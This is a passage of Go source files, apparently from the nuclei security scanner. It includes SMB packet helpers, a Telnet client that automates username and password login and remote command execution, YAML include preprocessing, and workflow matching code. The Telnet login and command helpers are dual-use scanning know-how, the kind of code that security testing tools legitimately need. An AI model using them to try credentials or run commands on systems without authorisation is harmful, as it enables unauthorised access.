CreateSMBv2NegotiatePacket creates an SMBv2 negotiate protocol packet\nfunc CreateSMBv2NegotiatePacket() []byte {\n\tvar buf bytes.Buffer\n\n\t// SMB2 header\n\t_ = buf.WriteByte(0xFE) // Protocol ID\n\t_, _ = buf.WriteString(\"SMB\")\n\t_ = buf.WriteByte(0x00) // Protocol ID\n\n\t// Command (Negotiate Protocol)\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0000))\n\n\t// Status\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// Flags\n\t_ = buf.WriteByte(0x00)\n\n\t// Next command\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0000))\n\n\t// Message ID\n\t_ = binary.Write(&buf, binary.LittleEndian, uint64(0x0000000000000001))\n\n\t// Reserved\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// Tree ID\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000000))\n\n\t// Session ID\n\t_ = binary.Write(&buf, binary.LittleEndian, uint64(0x0000000000000000))\n\n\t// Signature\n\t_, _ = buf.Write(make([]byte, 16))\n\n\t// Structure size\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x24))\n\n\t// Dialect count\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0001))\n\n\t// Security mode\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0001))\n\n\t// Reserved\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0000))\n\n\t// Capabilities\n\t_ = binary.Write(&buf, binary.LittleEndian, uint32(0x00000001))\n\n\t// Client GUID\n\t_, _ = buf.Write(make([]byte, 16))\n\n\t// Client start time\n\t_ = binary.Write(&buf, binary.LittleEndian, uint64(0x0000000000000000))\n\n\t// Dialects\n\t_ = binary.Write(&buf, binary.LittleEndian, uint16(0x0311)) // SMB 3.1.1\n\n\treturn buf.Bytes()\n}\n\n// ParseSMBResponse parses an SMB response packet\nfunc ParseSMBResponse(data []byte) (*SMBHeader, error) {\n\tif len(data) < 32 {\n\t\treturn nil, fmt.Errorf(\"SMB response too short: %d bytes\", len(data))\n\t}\n\n\theader := &SMBHeader{}\n\n\t// Check protocol ID\n\tif data[0] != 0xFF || data[1] != 'S' || data[2] != 'M' || data[3] != 'B' {\n\t\treturn nil, fmt.Errorf(\"invalid SMB protocol ID\")\n\t}\n\n\t// Parse header fields\n\theader.Command = data[4]\n\theader.Status = binary.LittleEndian.Uint32(data[5:9])\n\theader.Flags = data[9]\n\theader.Flags2 = binary.LittleEndian.Uint16(data[10:12])\n\theader.PIDHigh = binary.LittleEndian.Uint16(data[12:14])\n\tcopy(header.Signature[:], data[14:22])\n\theader.Reserved = binary.LittleEndian.Uint16(data[22:24])\n\theader.TreeID = binary.LittleEndian.Uint16(data[24:26])\n\theader.ProcessID = binary.LittleEndian.Uint16(data[26:28])\n\theader.UserID = binary.LittleEndian.Uint16(data[28:30])\n\theader.MultiplexID = binary.LittleEndian.Uint16(data[30:32])\n\n\treturn header, nil\n}\n"
  },
  {
    "path": "pkg/utils/telnetmini/telnet.go",
    "content": "// telnetmini.go\n// Minimal Telnet helper for authentication + simple I/O over an existing or new connection.\n\npackage telnetmini\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n)\n\n// Telnet protocol constants\nconst (\n\tIAC     = 255 // Interpret As Command\n\tWILL    = 251 // Will\n\tWONT    = 252 // Won't\n\tDO      = 253 // Do\n\tDONT    = 254 // Don't\n\tSB      = 250 // Subnegotiation Begin\n\tSE      = 240 // Subnegotiation End\n\tENCRYPT = 38  // Encryption option (0x26)\n)\n\n// EncryptionInfo contains information about telnet encryption support\ntype EncryptionInfo struct {\n\tSupportsEncryption bool\n\tBanner             string\n\tOptions            map[int][]int\n}\n\n// Client wraps a Telnet connection with tiny helpers.\ntype Client struct {\n\tConn            net.Conn\n\trd              *bufio.Reader\n\twr              *bufio.Writer\n\tLoginPrompts    []string // matched case-insensitively\n\tUserPrompts     []string // alternative to LoginPrompts; if empty, LoginPrompts used for username step\n\tPasswordPrompts []string\n\tFailBanners     []string // e.g., \"login incorrect\", \"authentication failed\"\n\tShellPrompts    []string // e.g., \"$ \", \"# \", \"> \"\n\tReadCapBytes    int      // safety cap while scanning (default 64 KiB)\n}\n\n// Defaults sets reasonable prompt patterns if none provided.\nfunc (c *Client) Defaults() {\n\tif c.ReadCapBytes == 0 {\n\t\tc.ReadCapBytes = 64 * 1024\n\t}\n\tif len(c.LoginPrompts) == 0 {\n\t\tc.LoginPrompts = []string{\"login:\", \"username:\"}\n\t}\n\tif len(c.PasswordPrompts) == 0 {\n\t\tc.PasswordPrompts = []string{\"password:\"}\n\t}\n\tif len(c.FailBanners) == 0 {\n\t\tc.FailBanners = []string{\"login incorrect\", \"authentication failed\", \"login failed\"}\n\t}\n\tif len(c.ShellPrompts) == 0 {\n\t\tc.ShellPrompts = []string{\"$ \", \"# \", \"> \"}\n\t}\n\tif len(c.UserPrompts) == 0 {\n\t\tc.UserPrompts = c.LoginPrompts\n\t}\n}\n\n// New wraps an existing net.Conn.\nfunc New(conn net.Conn) *Client {\n\tc := &Client{\n\t\tConn: conn,\n\t\trd:   bufio.NewReader(conn),\n\t\twr:   bufio.NewWriter(conn),\n\t}\n\tc.Defaults()\n\treturn c\n}\n\n// Close closes the underlying connection.\nfunc (c *Client) Close() error {\n\treturn c.Conn.Close()\n}\n\n// DetectEncryption detects if a telnet server supports encryption.\n// Based on Nmap's telnet-encryption.nse script functionality.\n// WARNING: The connection becomes unusable after calling this function\n// due to the encryption negotiation packets sent.\nfunc DetectEncryption(conn net.Conn, timeout time.Duration) (*EncryptionInfo, error) {\n\tif timeout == 0 {\n\t\ttimeout = 7 * time.Second\n\t}\n\n\t// Set connection timeout\n\t_ = conn.SetDeadline(time.Now().Add(timeout))\n\n\t// Send encryption negotiation packet (based on Nmap script)\n\t// FF FD 26 FF FB 26 = IAC DO ENCRYPT IAC WILL ENCRYPT\n\tencryptionPacket := []byte{IAC, DO, ENCRYPT, IAC, WILL, ENCRYPT}\n\t_, err := conn.Write(encryptionPacket)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to send encryption packet: %w\", err)\n\t}\n\n\t// Process server responses\n\toptions := make(map[int][]int)\n\tsupportsEncryption := false\n\tbanner := \"\"\n\n\t// Read responses until we get encryption info or timeout\n\tfor {\n\t\t_ = conn.SetReadDeadline(time.Now().Add(1 * time.Second))\n\t\tbuffer := make([]byte, 1024)\n\t\tn, err := conn.Read(buffer)\n\t\tif err != nil {\n\t\t\t// Timeout or connection closed, break\n\t\t\tbreak\n\t\t}\n\n\t\tif n > 0 {\n\t\t\tdata := buffer[:n]\n\t\t\t// Check if this contains banner text (non-IAC bytes)\n\t\t\tfor _, b := range data {\n\t\t\t\tif b != IAC {\n\t\t\t\t\tbanner += string(b)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Process telnet options\n\t\t\tencrypted, opts := processTelnetOptions(data)\n\t\t\tif encrypted {\n\t\t\t\tsupportsEncryption = true\n\t\t\t}\n\n\t\t\t// Merge options\n\t\t\tfor opt, cmds := range opts {\n\t\t\t\tif options[opt] == nil {\n\t\t\t\t\toptions[opt] = make([]int, 0)\n\t\t\t\t}\n\t\t\t\toptions[opt] = append(options[opt], cmds...)\n\t\t\t}\n\n\t\t\t// Check if we have encryption info\n\t\t\tif cmds, exists := options[ENCRYPT]; exists {\n\t\t\t\tfor _, cmd := range cmds {\n\t\t\t\t\tif cmd == WILL || cmd == DO {\n\t\t\t\t\t\tsupportsEncryption = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn &EncryptionInfo{\n\t\tSupportsEncryption: supportsEncryption,\n\t\tBanner:             banner,\n\t\tOptions:            options,\n\t}, nil\n}\n\n// processTelnetOptions processes telnet protocol options and returns encryption support status\nfunc processTelnetOptions(data []byte) (bool, map[int][]int) {\n\toptions := make(map[int][]int)\n\tsupportsEncryption := false\n\n\tfor i := 0; i < len(data); i++ {\n\t\tif data[i] == IAC && i+2 < len(data) {\n\t\t\tcmd := data[i+1]\n\t\t\toption := data[i+2]\n\n\t\t\t// Initialize option slice if not exists\n\t\t\toptInt := int(option)\n\t\t\tif options[optInt] == nil {\n\t\t\t\toptions[optInt] = make([]int, 0)\n\t\t\t}\n\t\t\toptions[optInt] = append(options[optInt], int(cmd))\n\n\t\t\t// Check for encryption support\n\t\t\tif option == ENCRYPT && (cmd == WILL || cmd == DO) {\n\t\t\t\tsupportsEncryption = true\n\t\t\t}\n\n\t\t\t// Handle subnegotiation\n\t\t\tif cmd == SB {\n\t\t\t\t// Skip until SE\n\t\t\t\tfor j := i + 3; j < len(data); j++ {\n\t\t\t\t\tif data[j] == IAC && j+1 < len(data) && data[j+1] == SE {\n\t\t\t\t\t\ti = j + 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\ti += 2 // Skip command and option\n\t\t\t}\n\t\t}\n\t}\n\n\treturn supportsEncryption, options\n}\n\n// Auth performs a minimal Telnet username/password interaction.\n// It waits for a username/login prompt, sends username, waits for a password prompt,\n// sends password, and then looks for fail banners or shell prompts.\n// A timeout should be enforced via ctx.\nfunc (c *Client) Auth(ctx context.Context, username, password string) error {\n\t// Wait for username/login prompt\n\tif _, _, err := c.readUntil(ctx, c.UserPrompts...); err != nil {\n\t\treturn fmt.Errorf(\"waiting for login/username prompt: %w\", err)\n\t}\n\tif err := c.writeLine(ctx, username); err != nil {\n\t\treturn fmt.Errorf(\"sending username: %w\", err)\n\t}\n\n\t// Wait for password prompt\n\tif _, _, err := c.readUntil(ctx, c.PasswordPrompts...); err != nil {\n\t\treturn fmt.Errorf(\"waiting for password prompt: %w\", err)\n\t}\n\tif err := c.writeLine(ctx, password); err != nil {\n\t\treturn fmt.Errorf(\"sending password: %w\", err)\n\t}\n\n\t// Post-auth: look quickly for explicit failure, else accept shell prompt / silence.\n\tmatch, got, err := c.readUntil(ctx,\n\t\tappend(append([]string{}, c.FailBanners...), c.ShellPrompts...)...,\n\t)\n\tif err != nil && !errors.Is(err, context.DeadlineExceeded) {\n\t\treturn fmt.Errorf(\"post-auth read: %s (got: %s)\", preview(got, 200), err)\n\t}\n\tlow := strings.ToLower(match)\n\tfor _, fb := range c.FailBanners {\n\t\tif low == strings.ToLower(fb) {\n\t\t\treturn errors.New(\"authentication failed\")\n\t\t}\n\t}\n\t// success (matched a shell prompt or timed out without explicit failure)\n\treturn nil\n}\n\n// Exec sends a command followed by CRLF and returns text captured until one of\n// the provided prompts appears (typically your shell prompt). Provide a deadline via ctx.\nfunc (c *Client) Exec(ctx context.Context, command string, until ...string) (string, error) {\n\tif err := c.writeLine(ctx, command); err != nil {\n\t\treturn \"\", err\n\t}\n\t_, out, err := c.readUntil(ctx, until...)\n\treturn out, err\n}\n\n// --- internals ---\n\n// writeLine writes s + CRLF and flushes.\nfunc (c *Client) writeLine(ctx context.Context, s string) error {\n\tc.setDeadlineFromCtx(ctx, true)\n\tif _, err := io.WriteString(c.wr, s+\"\\r\\n\"); err != nil {\n\t\treturn err\n\t}\n\treturn c.wr.Flush()\n}\n\n// readUntil scans bytes, handles minimal Telnet IAC negotiation, and returns when any needle appears.\nfunc (c *Client) readUntil(ctx context.Context, needles ...string) (matched string, bufStr string, err error) {\n\tif len(needles) == 0 {\n\t\treturn \"\", \"\", errors.New(\"readUntil: no needles provided\")\n\t}\n\tc.setDeadlineFromCtx(ctx, false)\n\n\tlowNeedles := make([]string, len(needles))\n\tfor i, n := range needles {\n\t\tlowNeedles[i] = strings.ToLower(n)\n\t}\n\n\tvar b strings.Builder\n\ttmp := make([]byte, 1)\n\n\t// Maximum iteration counter to prevent infinite loops\n\tmaxIterations := 20\n\titerationCount := 0\n\n\tfor {\n\t\titerationCount++\n\t\t// if we have iterated more than maxIterations, return\n\t\tif iterationCount > maxIterations {\n\t\t\treturn \"\", b.String(), nil\n\t\t}\n\t\t// honor context deadline on every read\n\t\tc.setDeadlineFromCtx(ctx, false)\n\t\t_, err := c.rd.Read(tmp)\n\t\tif err != nil {\n\t\t\tif ne, ok := err.(net.Error); ok && ne.Timeout() {\n\t\t\t\treturn \"\", b.String(), context.DeadlineExceeded\n\t\t\t}\n\t\t\treturn \"\", b.String(), err\n\t\t}\n\n\t\t// Telnet IAC (Interpret As Command)\n\t\tif tmp[0] == 255 { // IAC\n\t\t\tcmd, err := c.rd.ReadByte()\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", b.String(), err\n\t\t\t}\n\t\t\tswitch cmd {\n\t\t\tcase 251, 252, 253, 254: // WILL, WONT, DO, DONT\n\t\t\t\topt, err := c.rd.ReadByte()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn \"\", b.String(), err\n\t\t\t\t}\n\t\t\t\t// Politely refuse everything: DONT to WILL; WONT to DO.\n\t\t\t\tvar reply []byte\n\t\t\t\tif cmd == 251 { // WILL\n\t\t\t\t\treply = []byte{255, 254, opt} // DONT\n\t\t\t\t}\n\t\t\t\tif cmd == 253 { // DO\n\t\t\t\t\treply = []byte{255, 252, opt} // WONT\n\t\t\t\t}\n\t\t\t\tif len(reply) > 0 {\n\t\t\t\t\tc.setDeadlineFromCtx(ctx, true)\n\t\t\t\t\t_, _ = c.wr.Write(reply)\n\t\t\t\t\t_ = c.wr.Flush()\n\t\t\t\t}\n\t\t\tcase 250: // SB (subnegotiation): skip until SE\n\t\t\t\tfor {\n\t\t\t\t\tbb, err := c.rd.ReadByte()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn \"\", b.String(), err\n\t\t\t\t\t}\n\t\t\t\t\tif bb == 255 {\n\t\t\t\t\t\tif se, err := c.rd.ReadByte(); err == nil && se == 240 { // SE\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\t// NOP for other commands (IAC NOP, GA, etc.)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\t// regular data byte\n\t\tb.WriteByte(tmp[0])\n\t\tlower := strings.ToLower(b.String())\n\t\tfor i, n := range lowNeedles {\n\t\t\tif strings.Contains(lower, n) {\n\t\t\t\treturn needles[i], b.String(), nil\n\t\t\t}\n\t\t}\n\t\tif b.Len() > c.ReadCapBytes {\n\t\t\treturn \"\", b.String(), errors.New(\"prompt not found (read cap reached)\")\n\t\t}\n\t}\n}\n\nfunc (c *Client) setDeadlineFromCtx(ctx context.Context, write bool) {\n\tif ctx == nil {\n\t\treturn\n\t}\n\tif dl, ok := ctx.Deadline(); ok {\n\t\t_ = c.Conn.SetReadDeadline(dl)\n\t\tif write {\n\t\t\t_ = c.Conn.SetWriteDeadline(dl)\n\t\t}\n\t}\n}\n\nfunc preview(s string, n int) string {\n\tif len(s) <= n {\n\t\treturn s\n\t}\n\treturn s[:n] + \"...\"\n}\n"
  },
  {
    "path": "pkg/utils/template_path.go",
    "content": "package utils\n\nimport (\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/keys\"\n)\n\nconst (\n\t// TemplatesRepoURL is the URL for files in nuclei-templates repository\n\tTemplatesRepoURL = \"https://cloud.projectdiscovery.io/public/\"\n)\n\n// TemplatePathURL returns the Path and URL for the provided template\nfunc TemplatePathURL(fullPath, templateId, templateVerifier string) (path string, url string) {\n\tconfigData := config.DefaultConfig\n\tif configData.TemplatesDirectory != \"\" && strings.HasPrefix(fullPath, configData.TemplatesDirectory) {\n\t\tpath = strings.TrimPrefix(strings.TrimPrefix(fullPath, configData.TemplatesDirectory), \"/\")\n\t}\n\tif templateVerifier == keys.PDVerifier {\n\t\turl = TemplatesRepoURL + templateId\n\t}\n\treturn\n}\n"
  },
  {
    "path": "pkg/utils/utils.go",
    "content": "package utils\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/cespare/xxhash\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n\t\"github.com/projectdiscovery/ratelimit\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"golang.org/x/exp/constraints\"\n)\n\nfunc IsBlank(value string) bool {\n\treturn strings.TrimSpace(value) == \"\"\n}\n\nfunc UnwrapError(err error) error {\n\tfor { // get the last wrapped error\n\t\tunwrapped := errors.Unwrap(err)\n\t\tif unwrapped == nil {\n\t\t\tbreak\n\t\t}\n\t\terr = unwrapped\n\t}\n\treturn err\n}\n\n// IsURL tests a string to determine if it is a well-structured url or not.\nfunc IsURL(input string) bool {\n\tu, err := url.Parse(input)\n\treturn err == nil && u.Scheme != \"\" && u.Host != \"\"\n}\n\n// ReaderFromPathOrURL reads and returns the contents of a file or url.\nfunc ReaderFromPathOrURL(templatePath string, catalog catalog.Catalog) (io.ReadCloser, error) {\n\tif IsURL(templatePath) {\n\t\tresp, err := retryablehttp.DefaultClient().Get(templatePath)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn resp.Body, nil\n\t} else {\n\t\tf, err := catalog.OpenFile(templatePath)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn f, nil\n\t}\n}\n\n// StringSliceContains checks if a string slice contains a string.\nfunc StringSliceContains(slice []string, item string) bool {\n\tfor _, i := range slice {\n\t\tif strings.EqualFold(i, item) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// MapHash generates a hash for any give map\nfunc MapHash[K constraints.Ordered, V any](m map[K]V) uint64 {\n\tkeys := mapsutil.GetSortedKeys(m)\n\tvar sb strings.Builder\n\tfor _, k := range keys {\n\t\tfmt.Fprintf(&sb, \"%v:%v\\n\", k, m[k])\n\t}\n\treturn xxhash.Sum64([]byte(sb.String()))\n}\n\n// GetRateLimiter returns a rate limiter with the given max tokens and duration\n// if maxTokens is 0 or duration is 0, it returns an unlimited rate limiter\nfunc GetRateLimiter(ctx context.Context, maxTokens int, duration time.Duration) *ratelimit.Limiter {\n\tif maxTokens == 0 || duration == 0 {\n\t\treturn ratelimit.NewUnlimited(ctx)\n\t}\n\treturn ratelimit.New(ctx, uint(maxTokens), duration)\n}\n"
  },
  {
    "path": "pkg/utils/utils_test.go",
    "content": "package utils\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestUnwrapError(t *testing.T) {\n\trequire.Equal(t, nil, UnwrapError(nil))\n\n\terrOne := fmt.Errorf(\"error one\")\n\trequire.Equal(t, errOne, UnwrapError(errOne))\n\n\terrTwo := fmt.Errorf(\"error with error: %w\", errOne)\n\trequire.Equal(t, errOne, UnwrapError(errTwo))\n\n\terrThree := fmt.Errorf(\"error with error: %w\", errTwo)\n\trequire.Equal(t, errOne, UnwrapError(errThree))\n}\n"
  },
  {
    "path": "pkg/utils/yaml/preprocess.go",
    "content": "package yaml\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar reImportsPattern = regexp.MustCompile(`(?m)# !include:(.+.yaml)`)\n\n// StrictSyntax determines if pre-processing directives should be observed\nvar StrictSyntax bool\n\n// PreProcess all include directives\nfunc PreProcess(data []byte) ([]byte, error) {\n\t// find all matches like !include:path\\n\n\timportMatches := reImportsPattern.FindAllSubmatch(data, -1)\n\thasImportDirectives := len(importMatches) > 0\n\n\tif hasImportDirectives && StrictSyntax {\n\t\treturn data, errors.New(\"include directive preprocessing is disabled\")\n\t}\n\n\tvar replaceItems []string\n\n\tfor _, match := range importMatches {\n\t\tvar (\n\t\t\tmatchString     string\n\t\t\tincludeFileName string\n\t\t)\n\t\tmatchBytes := match[0]\n\t\tmatchString = string(matchBytes)\n\t\tif len(match) > 0 {\n\t\t\tincludeFileName = string(match[1])\n\t\t}\n\n\t\t// gets the number of tabs/spaces between the last \\n and the beginning of the match\n\t\tmatchIndex := bytes.Index(data, matchBytes)\n\t\tlastNewLineIndex := bytes.LastIndex(data[:matchIndex], []byte(\"\\n\"))\n\t\tpadBytes := data[lastNewLineIndex:matchIndex]\n\n\t\t// check if the file exists\n\t\tif fileutil.FileExists(includeFileName) {\n\t\t\t// and in case replace the comment with it\n\t\t\tincludeFileContent, err := os.ReadFile(includeFileName)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\t// if it's yaml, tries to preprocess that too recursively\n\t\t\tif stringsutil.HasSuffixAny(includeFileName, extensions.YAML) {\n\t\t\t\tif subIncludedFileContent, err := PreProcess(includeFileContent); err == nil {\n\t\t\t\t\tincludeFileContent = subIncludedFileContent\n\t\t\t\t} else {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// pad each line of file content with padBytes\n\t\t\tincludeFileContent = bytes.ReplaceAll(includeFileContent, []byte(\"\\n\"), padBytes)\n\n\t\t\treplaceItems = append(replaceItems, matchString)\n\t\t\treplaceItems = append(replaceItems, string(includeFileContent))\n\t\t}\n\t}\n\n\treplacer := strings.NewReplacer(replaceItems...)\n\n\treturn []byte(replacer.Replace(string(data))), nil\n}\n"
  },
  {
    "path": "pkg/utils/yaml/yaml_decode_wrapper.go",
    "content": "package yaml\n\nimport (\n\t\"io\"\n\t\"strings\"\n\n\t\"github.com/go-playground/validator/v10\"\n\t\"github.com/pkg/errors\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nvar validate *validator.Validate\n\n// DecodeAndValidate is a wrapper for yaml Decode adding struct validation\nfunc DecodeAndValidate(r io.Reader, v interface{}) error {\n\tif err := yaml.NewDecoder(r).Decode(v); err != nil {\n\t\treturn err\n\t}\n\tif validate == nil {\n\t\tvalidate = validator.New()\n\t}\n\n\tif err := validate.Struct(v); err != nil {\n\t\tif _, ok := err.(*validator.InvalidValidationError); ok {\n\t\t\treturn err\n\t\t}\n\t\terrs := []string{}\n\t\tfor _, err := range err.(validator.ValidationErrors) {\n\t\t\terrs = append(errs, err.Namespace()+\": \"+err.Tag())\n\t\t}\n\t\treturn errors.Wrap(errors.New(strings.Join(errs, \", \")), \"validation failed for these fields\")\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/workflows/doc.go",
    "content": "// Package workflows contains the workflows\npackage workflows\n"
  },
  {
    "path": "pkg/workflows/workflows.go",
    "content": "package workflows\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n)\n\n// Workflow is a workflow to execute with chained requests, etc.\ntype Workflow struct {\n\t// description: |\n\t//   Workflows is a list of workflows to execute for a template.\n\tWorkflows []*WorkflowTemplate `yaml:\"workflows,omitempty\" json:\"workflows,omitempty\" jsonschema:\"title=list of workflows to execute,description=List of workflows to execute for template\"`\n\n\tOptions *protocols.ExecutorOptions `yaml:\"-\" json:\"-\"`\n}\n\n// WorkflowTemplate is a template to be run as part of a workflow\ntype WorkflowTemplate struct {\n\t// description: |\n\t//   Template is a single template or directory to execute as part of workflow.\n\t// examples:\n\t//   - name: A single template\n\t//     value: \"\\\"dns/worksites-detection.yaml\\\"\"\n\t//   - name: A template directory\n\t//     value: \"\\\"misconfigurations/aem\\\"\"\n\tTemplate string `yaml:\"template,omitempty\" json:\"template,omitempty\" jsonschema:\"title=template/directory to execute,description=Template or directory to execute as part of workflow\"`\n\t// description: |\n\t//    Tags to run templates based on.\n\tTags stringslice.StringSlice `yaml:\"tags,omitempty\" json:\"tags,omitempty\" jsonschema:\"title=tags to execute,description=Tags to run template based on\"`\n\t// description: |\n\t//    Matchers perform name based matching to run subtemplates for a workflow.\n\tMatchers []*Matcher `yaml:\"matchers,omitempty\" json:\"matchers,omitempty\" jsonschema:\"title=name based template result matchers,description=Matchers perform name based matching to run subtemplates for a workflow\"`\n\t// description: |\n\t//    Subtemplates are run if the `template` field Template matches.\n\tSubtemplates []*WorkflowTemplate `yaml:\"subtemplates,omitempty\" json:\"subtemplates,omitempty\" jsonschema:\"title=subtemplate based result matchers,description=Subtemplates are ran if the template field Template matches\"`\n\t// Executers perform the actual execution for the workflow template\n\tExecuters []*ProtocolExecuterPair `yaml:\"-\" json:\"-\"`\n}\n\n// ProtocolExecuterPair is a pair of protocol executer and its options\ntype ProtocolExecuterPair struct {\n\tExecuter     protocols.Executer\n\tOptions      *protocols.ExecutorOptions\n\tTemplateType templateTypes.ProtocolType\n}\n\n// Matcher performs conditional matching on the workflow template results.\ntype Matcher struct {\n\t// description: |\n\t//    Name is the name of the items to match.\n\tName stringslice.StringSlice `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=name of items to match,description=Name of items to match\"`\n\t// description: |\n\t//   Condition is the optional condition between names. By default,\n\t//   the condition is assumed to be OR.\n\t// values:\n\t//   - \"and\"\n\t//   - \"or\"\n\tCondition string `yaml:\"condition,omitempty\" json:\"condition,omitempty\" jsonschema:\"title=condition between names,description=Condition between the names,enum=and,enum=or\"`\n\t// description: |\n\t//    Subtemplates are run if the name of matcher matches.\n\tSubtemplates []*WorkflowTemplate `yaml:\"subtemplates,omitempty\" json:\"subtemplates,omitempty\" jsonschema:\"title=templates to run after match,description=Templates to run after match\"`\n\n\tcondition ConditionType\n}\n\n// ConditionType is the type of condition for matcher\ntype ConditionType int\n\nconst (\n\t// ANDCondition matches responses with AND condition in arguments.\n\tANDCondition ConditionType = iota + 1\n\t// ORCondition matches responses with AND condition in arguments.\n\tORCondition\n)\n\n// ConditionTypes is a table for conversion of condition type from string.\nvar ConditionTypes = map[string]ConditionType{\n\t\"and\": ANDCondition,\n\t\"or\":  ORCondition,\n}\n\n// Compile compiles the matcher for workflow\nfunc (matcher *Matcher) Compile() error {\n\tvar ok bool\n\tif matcher.Condition != \"\" {\n\t\tmatcher.condition, ok = ConditionTypes[matcher.Condition]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown condition specified: %s\", matcher.Condition)\n\t\t}\n\t} else {\n\t\tmatcher.condition = ORCondition\n\t}\n\treturn nil\n}\n\n// Match matches a name for matcher names or name\nfunc (matcher *Matcher) Match(result *operators.Result) bool {\n\tnames := matcher.Name.ToSlice()\n\tif len(names) == 0 {\n\t\treturn false\n\t}\n\n\tfor i, name := range names {\n\t\tmatchOK := result.HasMatch(name)\n\t\textractOK := result.HasExtract(name)\n\n\t\tif !matchOK && !extractOK {\n\t\t\tif matcher.condition == ANDCondition {\n\t\t\t\treturn false\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tif matcher.condition == ORCondition {\n\t\t\treturn true\n\t\t} else if len(names)-1 == i {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "pkg/workflows/workflows_test.go",
    "content": "package workflows\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestWorkflowMatchAndCompile(t *testing.T) {\n\tt.Run(\"name\", func(t *testing.T) {\n\t\tmatcher := &Matcher{Name: stringslice.StringSlice{Value: \"sphinx\"}}\n\t\tmatched := matcher.Match(&operators.Result{Matches: map[string][]string{\"sphinx\": {}}, Extracts: map[string][]string{}})\n\t\trequire.True(t, matched, \"could not match value\")\n\t})\n\tt.Run(\"name-negative\", func(t *testing.T) {\n\t\tmatcher := &Matcher{Name: stringslice.StringSlice{Value: \"tomcat\"}}\n\t\tmatched := matcher.Match(&operators.Result{Matches: map[string][]string{\"apache\": {}}, Extracts: map[string][]string{}})\n\t\trequire.False(t, matched, \"could not match value\")\n\t})\n\tt.Run(\"names-or\", func(t *testing.T) {\n\t\tmatcher := &Matcher{Name: stringslice.StringSlice{Value: []string{\"sphinx\", \"elastic\"}}, Condition: \"or\"}\n\t\t_ = matcher.Compile()\n\t\tmatched := matcher.Match(&operators.Result{Matches: map[string][]string{\"elastic\": {}}, Extracts: map[string][]string{}})\n\t\trequire.True(t, matched, \"could not match value\")\n\t\tmatched = matcher.Match(&operators.Result{Matches: map[string][]string{\"sphinx\": {}}, Extracts: map[string][]string{}})\n\t\trequire.True(t, matched, \"could not match value\")\n\t\tmatched = matcher.Match(&operators.Result{Matches: map[string][]string{\"random\": {}}, Extracts: map[string][]string{}})\n\t\trequire.False(t, matched, \"could not match value\")\n\t})\n\tt.Run(\"names-and\", func(t *testing.T) {\n\t\tmatcher := &Matcher{Name: stringslice.StringSlice{Value: []string{\"sphinx\", \"elastic\"}}, Condition: \"and\"}\n\t\t_ = matcher.Compile()\n\t\tmatched := matcher.Match(&operators.Result{Matches: map[string][]string{\"elastic\": {}, \"sphinx\": {}}, Extracts: map[string][]string{}})\n\t\trequire.True(t, matched, \"could not match value\")\n\n\t\tmatched = matcher.Match(&operators.Result{Matches: 